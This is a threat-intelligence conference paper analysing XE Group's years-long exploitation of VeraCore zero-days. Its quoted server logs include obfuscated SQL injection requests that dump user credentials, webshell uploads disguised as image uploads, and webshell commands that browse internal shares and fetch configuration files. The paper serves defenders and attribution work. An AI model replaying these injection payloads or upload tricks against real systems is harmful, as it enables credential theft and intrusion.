2025 BERLIN

24 - 26 September, 2025 / Berlin, Germany

SOPHISTICATION OR MISSED OPPORTUNITY? ANALYSING XE GROUP'S LONG-TERM EXPLOITATION OF ZERO-DAYS WITH LIMITED IMPACT

Justin Lentz

Solis Security, USA

Nicole Fishbein

Intezer, USA

jlentz@solissecurity.com
nicole@intezer.com

ABSTRACT

The discovery of a threat actor leveraging multiple zero-day vulnerabilities to infiltrate a target over a four-year period typically signals a highly sophisticated and well-resourced adversary. However, what happens when there is no financial gain, no data exfiltration, and seemingly minimal impact on the victim organization? Was this a case of a failed operation, an intelligence-driven foothold, or something else entirely?

This paper will dive into the operational tradecraft of a threat actor who successfully exploited zero-day vulnerabilities to maintain long-term persistence but left behind little evidence of monetization or destruction. We will explore the technical execution of the zero-day exploitation and persistence mechanism, the possible motivations behind the prolonged yet low-impact operation, indicators of whether this was an espionage campaign, a failed attempt at lateral movement, or a staging ground for future activity, and the missed opportunity – did the attacker miscalculate, or was their objective never financial in nature?

By dissecting this unusual case, we challenge traditional assumptions about threat actor intent, the evolution of covert access strategies, and the implications for cyber defenders dealing with stealthy, non-disruptive adversaries. Was this a masterclass in restraint, or did the attacker simply fail to capitalize on their access?

INTRODUCTION

XE Group, a cybercriminal group with a documented history of exploiting web vulnerabilities, has demonstrated a remarkable ability to evolve and adapt since its emergence in 2013. Known initially for deploying credit card skimmers and targeting supply chains through webshells and other malicious tactics, XE Group has consistently refined its methods to remain a persistent and impactful threat within the cybersecurity landscape.

Building on earlier research from organizations like *Malwarebytes*, *Volexity* and *Menlo Security*, *Intezer* and *Solis Security*'s investigation uncovers an alarming evolution in XE Group's operations. In November 2024, an investigation into post-exploitation activity revealed a hidden actor that had maintained persistent access to targeted systems for almost five years. This investigation exposed two previously undocumented zero-day vulnerabilities in *VeraCore*, a comprehensive warehouse management software used by fulfilment companies, commercial printers, and e-retailers.

The vulnerabilities identified – an upload validation vulnerability (CVE-2024-57968, CVSS score 9.9) and an SQL injection flaw (CVE-2025-25181, CVSS score 5.8) – enabled XE Group to deploy webshells and maintain unauthorized access to compromised systems. This discovery underscores the group's increasing sophistication and ability to leverage cutting-edge exploits to further their objectives.

This paper presents a detailed analysis of XE Group's recent activities and attack methodologies, while also examining areas that remain unclear in the broader understanding of this threat actor. In particular, it highlights the pivot from credit card skimming to exploiting zero-day vulnerabilities and the group's ability to maintain undetected, long-term access to networks without causing broader damage, at least as currently observed. This significant operational leap invites further scrutiny of XE Group's capabilities, strategic objectives, and the implications for cybersecurity defence and intelligence-sharing initiatives.

XE GROUP HISTORY

XE Group emerged in 2013 as a cybercriminal organization focused on exploiting web vulnerabilities to deploy credit card skimmers and password-stealing malware. Over the years, the cybersecurity community, including *Malwarebytes*, *Volexity* and *Menlo Security*, has monitored its activities, revealing its evolving tactics and increasing sophistication.

In July 2020, *Malwarebytes* discovered a notable XE Group campaign targeting websites hosted on *Microsoft IIS* servers running ASP.NET [1]. The attackers exploited a known vulnerability in *Telerik UI* for ASP.NET (CVE-2017-9248) to upload webshells, gaining remote code execution on vulnerable servers. This campaign was significant as it expanded the group's focus to ASP.NET applications, a platform not widely targeted at the time.

In December 2021, *Volexity* released an in-depth analysis [2] that provided critical insights into XE Group's operations and origins. A notable discovery was the use of the string 'xe' as a marker within webshells and malicious code – a subtle but consistent feature that helped attribute activities to this group across multiple campaigns. *Volexity* also linked XE Group's infrastructure through passive DNS records, WHOIS data, and shared hosting resources, underscoring the group's organized and methodical approach.

Volexity's investigation pointed to a likely Vietnamese origin for XE Group, based on several converging indicators. Specifically, the team noted that much of the group's operational infrastructure, including domain registrations and hosting, showed ties to Vietnamese providers and services. Additionally, some of the email addresses and registrant details linked to the group contained Vietnamese language markers, and time zone patterns in the group's activity further supported this geographic attribution. While not definitive, these indicators collectively suggested a strong connection to Vietnam, offering valuable context on the group's operational base and possible motivations.

In March 2023, the Cybersecurity and Infrastructure Security Agency (CISA) issued an advisory [3] detailing the exploitation of *Progress Telerik* vulnerabilities in multiple US government IIS servers. This advisory highlighted that multiple threat actors, including XE Group, conducted reconnaissance and scanning activities related to CVE-2019-18935, further confirming their presence in high-profile attacks.

In May 2023, an analysis by *Menlo Security* [4] reinforced the view that XE Group had been operational since 2013 and engaged in various cybercriminal activities, including supply chain attacks akin to Magecart, the creation of fake websites to deceive users, and the sale of stolen data on underground marketplaces. Open-source intelligence (OSINT) efforts also uncovered email addresses and digital identifiers linked to individuals associated with XE Group, adding further depth to the understanding of the group's operations.

INITIAL ACCESS

On 5 November 2024, a unique attack linked to XE Group was detected when the Endpoint Detection and Response (EDR) system issued an alert for suspicious post-exploitation activity. This activity originated from a webshell on an IIS server running *VeraCore*'s warehouse management system software. Following this alert, *Solis Security* and *Intezer* conducted a thorough investigation and uncovered several distinctive techniques employed by the threat actor.

XE Group actors were able to initially gain access through a successful SQL injection attack targeting the *VeraCore* warehouse management application. The attack allowed the attackers to dump valid credentials, which were subsequently used to log into the application.

The threat actor was seen sending a request in the form of an obfuscated Transact-SQL statement that was successful in returning credentials from the web application database. This attack is meant to trigger an error-based SQLi to extract data in error messages. The code tries to get information from the USERS table and concatenate the information into one string separated by a carrot (^), resulting in: [USERS_SEQID] ^[USERS_UserID] ^[USERS_Password] ^[USERS_Deleted], as can be seen in the code snippet below.

```
2020-01-09 08:47:59 10.X.X.X GET /v5fmsnet/common/timeoutWarning.asp

PmSess1=1%27%20o%r%201=cOn%vErt(int,((c%Har(82)%2bc%Har(33)%2b

(sE%leCt%20t%op%201%20ca%st(isn%ull

([USERS_SEQID],c%Har(32))%20as%20nvarc%Har(4000))%2bc%Har(94)%2bca

%st(isn%ull([USERS_UserID],c%Har(32))%20as%20nvarc%Har(4000))%2bc%Har

(94)%2bca%st(isn%ull([USERS_Password],c%Har(32))%20as%20nvarc%Har(4000))

%2bc%Har(94)%2bca%st(isn%ull([USERS_Deleted],c%Har(32))%20as%20nvarc%Har

(4000))%20fr%Om%20(sE%leCt%20t%op%201%20[USERS_SEQID],[USERS_UserID],

[USERS_Password],[USERS_Deleted]%20fr%Om%20[USERS]%20o%rder%20by%20

[USERS_SEQID]%20

asc)%20sq%20o%rder%20by%20[USERS_SEQID]%20desc)%2bc%Har(33)%2bc%Har

(82))))%20a%nd%20%271%27=%271|12|800a139e|Conversion_failed_when_converting

_the_nvarchar_value_'R!1^redacted^Redacted1!^0!R'_to_data_type_int. 80 - 171.227.250.249
Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10.13;+rv:60.0+XeThanh)+Gecko/20100101+Firefox/60.0
- 500 0 0 254
```

DISCOVERY

After successful authentication with the dumped credentials, the threat actor is seen browsing through the application via a web browser client. The actor explored portions of the application surrounding its Order Tracking system and administration APIs before identifying an upload functionality. This functionality was tested with a simple JPEG file upload before the threat actor leveraged this flaw to gain persistence via webshells.

```
POST /VeraCore/OMS/upload.aspx type=PMA.Controller.Upload.
UploadImage&directory=%2Fsqlimages%2FIDCHAH%2F&fileName=golf.jpg&auth=311165

GET /sqlimages/IDCHAH/golf.jpg
```

Additional SQL injection attempts are identified in the following days after initial access and persistence was gained. These attempts were found to be a mix of successful and failed attempts as can be seen in some of the available logging.

```
2020-01-10 22:33:44 GET /v5fmsnet/common/timeoutWarning.asp
PmSess1=1%27|12|800a139e|Unclosed_quotation_mark_after_the_character_string_'1''.

2020-01-10 22:36:38 GET /v5fmsnet/common/timeoutWarning.asp PmSess1=1%27%20or%20
1-convert(int,(select%20top%201%20[USER_password]%20from%20(select%20top%201%20%20[USERS_
SEQID],[USER_password]%20from%20[USERS]%20order%20by%20[USERS_SEQID]%20asc)%20rq%20
order%20by%20[USERS_SEQID]%20desc))%20and%20%271%27=%271|12|800a139e|An_expression_of_
non-boolean_type_specified_in_a_context_where_a_condition_is_expected__near_'and'.

2020-01-10 22:36:51 GET /v5fmsnet/common/timeoutWarning.asp PmSess1=1%20or%20
1-convert(int,(select%20top%201%20[USER_password]%20from%20(select%20top%201%20%20[USERS_
SEQID],[USER_password]%20from%20[USERS]%20order%20by%20[USERS_SEQID]%20asc)%20rq%20
order%20by%20[USERS_SEQID]%20desc))%20and%20%271%27=%271|12|800a139e|Incorrect_syntax_
near_'1'.

2020-01-10 22:37:15 GET /v5fmsnet/common/timeoutWarning.asp PmSess1=1%27%20or%20
1=convert(int,(select%20top%201%20[USER_password]%20from%20(select%20top%201%20[USERS_
SEQID],[USER_password]%20from%20[USERS]%20order%20by%20[USERS_SEQID]%20asc)%20rq%20
order%20by%20[USERS_SEQID]%20desc))%20and%20%271%27=%271|12|800a139e|Invalid_column_
name_'USER_password'.

2020-01-10 22:37:31 GET /v5fmsnet/common/timeoutWarning.asp PmSess1=1%27%20or%20
1=convert(int,(select%20top%201%20[USERS_Password]%20from%20(select%20top%201%20[USERS_
SEQID],[USERS_Password]%20from%20[USERS]%20order%20by%20[USERS_SEQID]%20asc)%20rq%20
order%20by%20[USERS_SEQID]%20desc))%20and%20%271%27=%271|12|800a139e|Conversion_failed_
when_converting_the_varchar_value_'REDACTED'_to_data_type_int.

2020-01-10 22:56:32 GET /v5fmsnet/common/timeoutWarning.asp PmSess1=1%27%20
or%201%3dconvert(int,(select%20top%201%20%5BUSERS_UserID%5D%20from%20(select%20
top%201%20%5BUSERS_SEQID%5D,%5BUSERS_UserID%5D%20from%20%5BUSERS%5D%20order%20
by%20%5BUSERS_SEQID%5D%20asc)%20rq%20order%20by%20%5BUSERS_SEQID%5D%20desc))%20
and%20%271%27%3d%271|12|800a139e|Conversion_failed_when_converting_the_varchar_
value_'REDACTED'_to_data_type_int.
```

In 2024, new activity surfaced that seemed to have a very different motive – looking more like the data being targeted by crimeware actors that often deploy ransomware encryptors. In these requests, the threat actor can be seen attempting to access other systems within the environment to view internal financial data and backup data by utilizing the deployed webshell.

```
2024-11-06 09:26:07 GET /VeraCore/img/.thump.aspx fdir=\\10.32.16.11\Accounting

2024-11-06 09:26:29 GET /VeraCore/img/.thump.aspx fdir=\\10.32.16.11\Accounting%20Share

2024-11-06 09:26:52 GET /VeraCore/img/.thump.aspx
fdir=%5c%5c10.32.16.11%5cUsers%5cREDACTED%5cDocuments

2024-11-06 09:27:02 GET /VeraCore/img/.thump.aspx fdir=\\10.32.16.11\Sales%20Share

2024-11-06 09:27:36 GET /VeraCore/img/.thump.aspx fdir=\\REDACTED\Special%20Services

2024-11-06 09:28:50 GET /VeraCore/img/.thump.aspx fdir=\\10.32.16.14\Backups
```

PERSISTENCE

XE Group has been known to leverage webshells as a method of persistence in previous attacks in the 2020 timeframe, which aligns with the activity identified here. The threat actor uploaded a few different webshells in the initial days of compromise, gaining further access to the system.

```
2020-01-09 09:14:45 POST /VeraCore/OMS/upload.aspx type=PMA.Controller.Upload.
UploadImage&directory=%2Fsqlimages%2FIDCHAH%2F&fileName=golf.jpg&auth=311165

2020-01-09 09:15:17 POST /VeraCore/OMS/upload.aspx type=PMA.Controller.Upload.
UploadImage&directory=%2Fsqlimages%2FIDCHAH%2F&fileName=session_cache.asp&auth=311165

2020-01-09 09:15:49 POST /VeraCore/OMS/upload.aspx type=PMA.Controller.Upload.
UploadImage&directory=%2Fsqlimages%2FIDCHAH%2F&fileName=System.Runtime.Serialization.
aspx&auth=311165

2020-01-09 09:56:19 POST /VeraCore/OMS/upload.aspx type=PMA.Controller.Upload.
UploadImage&directory=C%3A%5Cinetpub%5Cwwwroot%5Caspnet_client%5Csystem_
web%5C&fileName=System.Runtime.Serialization.aspx&auth=311165

2020-01-09 09:57:46 POST /VeraCore/OMS/upload.aspx type=PMA.Controller.Upload.
UploadImage&directory=%2Faspnet_client%2Fsystem_web%2F&fileName=System.Runtime.
Serialization.aspx&auth=311165

2020-01-09 09:59:22 POST /VeraCore/OMS/upload.aspx type=PMA.Controller.Upload.
UploadImage&directory=%2Faspnet_client%2F&fileName=Serializ.aspx&auth=311165

2020-01-09 10:00:38 POST /VeraCore/OMS/upload.aspx type=PMA.Controller.Upload.
UploadImage&directory=%2Fsqlimages%2FIDCHAH%2F&fileName=Serializ.aspx&auth=311165

2024-11-06 08:18:47 POST /VeraCore/PMA/upload.aspx type=PMA.Controller.Upload.
UploadImage&directory=%2FVeraCore%2Fimg%2F&fileName=.thump.aspx&auth=654
```

Analysis was limited as to the actions the actor may have performed after dropping webshells on the system. It can be seen that they began to leverage and interact heavily with the webshells for three days, then infrequently over the next two months, before a two-year gap in activity. Another year later, a new webshell was uploaded by the actor with new activity.

```
2020-03-27 05:27:24 POST /aspnet_client/system_web/System.Runtime.Serialization.aspx

2020-03-29 15:23:24 GET /aspnet_client/system_web/SQLCommand.aspx

2020-03-29 15:23:33 GET /aspnet_client/system_web/System.Runtime.Serialization.aspx

2022-05-12 22:20:49 GET /aspnet_client/system_web/System.Runtime.Serialization.aspx

2022-05-13 12:52:33 GET /VeraCore/Home/

2023-04-27 22:35:01 GET /aspnet_client/system_web/System.Runtime.Serialization.aspx

2023-04-27 22:37:23 GET /aspnet_client/system_web/.thump.aspx

2023-04-27 22:37:39 GET /aspnet_client/system_web/.thump.aspx
fdir=C%3a%5cinetpub%5cwwwroot%5c

2024-07-11 14:57:17 POST /aspnet_client/system_web/System.Runtime.Serialization.aspx

2024-07-11 14:57:24 GET /aspnet_client/system_web/.thump.aspx
```

COMMAND AND CONTROL

XE Group leverages a unique command-and-control structure that is easily detectable in web traffic logs. Due to the group's common usage of ASPXSPY webshells, a unique modification has been identified to contain a hard-coded User-Agent string that, when decoded, reads `XeThanh|XeGroups`. In newer versions of the webshells seen from this group, the User-Agent string decodes to `TMToday`. Visibility of the web activity of this group over five years shows a progression in the changes in their web requests based on the User-Agent string:

January 2020

```
Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10.13;+rv:60.0+XeThanh)+Gecko/20100101+Firefox/60.0

Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10.9;+rv:68.0)+Gecko/20100101+Thunderbird/68.3.0+
Lightning/68.3.0+XeThanh

Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_13_5)+AppleWebKit/605.1.15+(KHTML,+like+Gecko;
+rev:XeThanh)+Version/11.1.1+Safari/605.1.15

Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_14)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+
Version/11.1.1+Safari/605.1.15+XeThanh

Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:70.0;+r:XeThanh)+Gecko/20100101+Firefox/70.0'+"
```

February 2020

```
Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_14)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+
Version/11.1.1+Safari/605.1.15+XeThanh+'+"
```

May 2022

```
Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_15_5+(XeCLMXeThanh))+AppleWebKit/605.1.15+
(KHTML,+like+Gecko)+Version/12.1.1+Safari/605.1.15
```

April 2023

```
Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_15_5+(XeCLMXeThanhXeGroups))+AppleWebKit/
605.1.15+(KHTML,+like+Gecko)+Version/12.1.1+Safari/605.1.15
```

May 2025

```
Client/30158+CFNetwork/1406.0.4+Darwin/22.4.0
```

July 2024

```
Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_15_5+(TMToday|XeCLM|XeThanh|XeGroup))+
AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/12.1.1+Safari/605.1.15

Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_8_3;+(TMToday|XeCLM|XeThanh|CLMToday|CLMCenter))
+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/15.6.1+Safari/605.1.15
```

November 2024

```
Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+14_6_1;+XeCLM;XeThanh;TMToday)+AppleWebKit/605.1.15+
(KHTML,+like+Gecko)+Version/17.5+Safari/605.1.15

Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+XeCLM;XeThanh;TMToday;XeGroups)+AppleWebKit/537.36+
(KHTML,+like+Gecko)+Chrome/89.0.4389.82+Safari/537.36
```

Additional User-Agent strings were identified as part of XE Group's activity including a `python-requests/2.32.3` string involved in the SQL injection attacks. Further analysis of the User-Agent strings leveraged by the actor suggest possible heavy usage of *MacOS* devices, although it is noted that these agent strings can easily be spoofed. In May 2023 specifically, the actor is believed to have mistakenly attempted connection to the webshell without including the proper User-Agent string, confirming an *Apple* OS framework known as CFNetwork.

In addition to the User-Agent strings, source IP infrastructure consistently originates from APAC regions, primarily in Vietnam, including ISPs such as VNPT Corp (AS45899) and Viettel Group (AS7552). Web traffic from these ASNs should be considered highly suspicious if not performing business within this region.

The new direction for XE Group that has shaken up what is known about this actor is the pivotal change in attempts to deploy common C2 frameworks such as Meterpreter. In November 2024, this actor was seen executing a PowerShell loader through the existing webshell attempting to load a Meterpreter shell into memory. This change in techniques and tool usage for XE Group signals a monumental growth in capabilities and potential impact the group could have on its victims.

EXFILTRATION

XE Group is primarily known for exfiltrating credit card data via skimmers and formjacking on payment and shopping websites. In this attack, the group is seen exfiltrating config files from the *VeraCore* application. The purpose of gathering the configs is unknown, however these configs could allow for further attacks on the application at scale or lateral movement into the network in some cases.

One noteworthy aspect of the exfiltration is the difference between the activity noted in 2023 and the more automated version of exfiltration in 2024. In 2023, the group is seen grabbing individual files via GET requests through the webshell or directly, while in 2024, the group leverages a batch file named `run.bat` to print all the config files into a single file, which is then fetched through the webshell.

```
2023-04-27 22:39:13 GET /aspnet_client/system_web/.thump.aspx
get=C%3a%5cinetpub%5cwwwroot%5c%5cVeraCore%5cWeb.config

2023-04-27 22:45:43 GET /aspnet_client/system_web/.thump.aspx
get=C%3a%5cinetpub%5cwwwroot%5c%5cVeraCore%5csaml.config

2024-11-05 13:38:14 GET /aspnet_client/system_web/.thump.aspx
get=C%3a%5c%5cProgramData%5cVaccine.txt

2024-11-05 13:38:51 GET /aspnet_client/system_web/.thump.aspx
get=C%3a%5cProgramData%5c%5cxe.config

2024-11-05 13:43:10 GET /aspnet_client/system_web/.thump.aspx
fdir=QzpcUHJvZ3JhbURhdGFc&del=QzpcUHJvZ3JhbURhdGFcXHhlLmNvbmZpZw==
```

In 2024, XE Group was seen targeting financial data from internal systems, which did not appear to have been exfiltrated, but the data is suspected to have been a potential target for exfiltration had the Meterpreter shell been successfully deployed. This change in data theft targeting could indicate a change in operational goals for this group.

MISSING IMPACT?

Despite the extensive investigations conducted by the cybersecurity community, significant gaps remain in our understanding of XE Group's structure, objectives, and sudden leap in capabilities. Historically, XE Group was known for credit card skimming and exploiting widely known web vulnerabilities – an approach that, while effective, did not share the level of sophistication seen in their recent operations. The sudden pivot to leveraging zero-day vulnerabilities and maintaining stealthy, long-term access to high-value networks suggests a notable evolution in their technical capabilities and operational objectives.

One of the most pressing questions is how XE Group seemingly acquired these advanced skills and tools overnight. Did they develop this expertise internally, or did they gain access to zero-day exploits through alliances with other threat actors or brokers? This capability jump hints at the possibility that XE Group may not be operating in isolation, raising questions about whether they are part of a larger cybercriminal ecosystem or have ties to more advanced threat actors.

Equally puzzling is the group's behaviour post-compromise. The evidence suggests that XE Group has maintained persistence within victim networks for years without causing additional, overt damage. This persistence could indicate several possibilities: perhaps XE Group is primarily focused on obtaining and selling initial access rather than carrying out subsequent attacks themselves. Alternatively, it may reflect a task-based approach within a broader organization, where one team specializes in infiltration and another is responsible for further exploitation based on shifting priorities. Such a model would explain why they moved on from some targets after successful compromise, even when opportunities for further exploitation remained.

Adding to the complexity, as of 10 February, the vendor released patches for the *VeraCore* vulnerabilities. However, it remains unconfirmed whether other on-premises hosted *VeraCore* applications are still currently affected by these vulnerabilities. While pivoting to identify additional at-risk devices, researchers found 24 self-hosted *VeraCore* applications that may have been impacted by similar attacks within this timeframe. To prevent unwanted targeting of these organizations, specific server details have been withheld from publication.

Ultimately, these gaps underscore the critical need for deeper visibility and collaborative research across the cybersecurity community. Only by sharing threat intelligence, tracking indicators of compromise, and analysing potential victims can we begin to understand the true scope of XE Group's operations and their place within the broader cyber threat landscape. Uncovering these missing pieces is essential to mounting an effective defence and limiting the damage this sophisticated and persistent actor can inflict.

REFERENCES

[1] Segura, J. Credit card skimmer targets ASP.NET sites. MalwareBytes. 6 July 2020. https://www.malwarebytes.com/blog/news/2020/07/credit-card-skimmer-targets-asp-net-sites.

[2] Volexity. XE Group – Exposed: 8 Years of Hacking & Card Skimming for Profit. 7 December 2021. https://www.volexity.com/blog/2021/12/07/xe-group-exposed-8-years-of-hacking-card-skimming-for-profit/.

[3] CISA. Threat Actors Exploit Progress Telerik Vulnerabilities in Multiple U.S. Government IIS Servers. 15 June 2023. https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-074a.

[4] Menlo Labs. Not your average Joe: An analysis of the XeGroup's attack techniques. 30 May 2023. https://www.menlosecurity.com/blog/not-your-average-joe-an-analysis-of-the-xegroups-attack-techniques.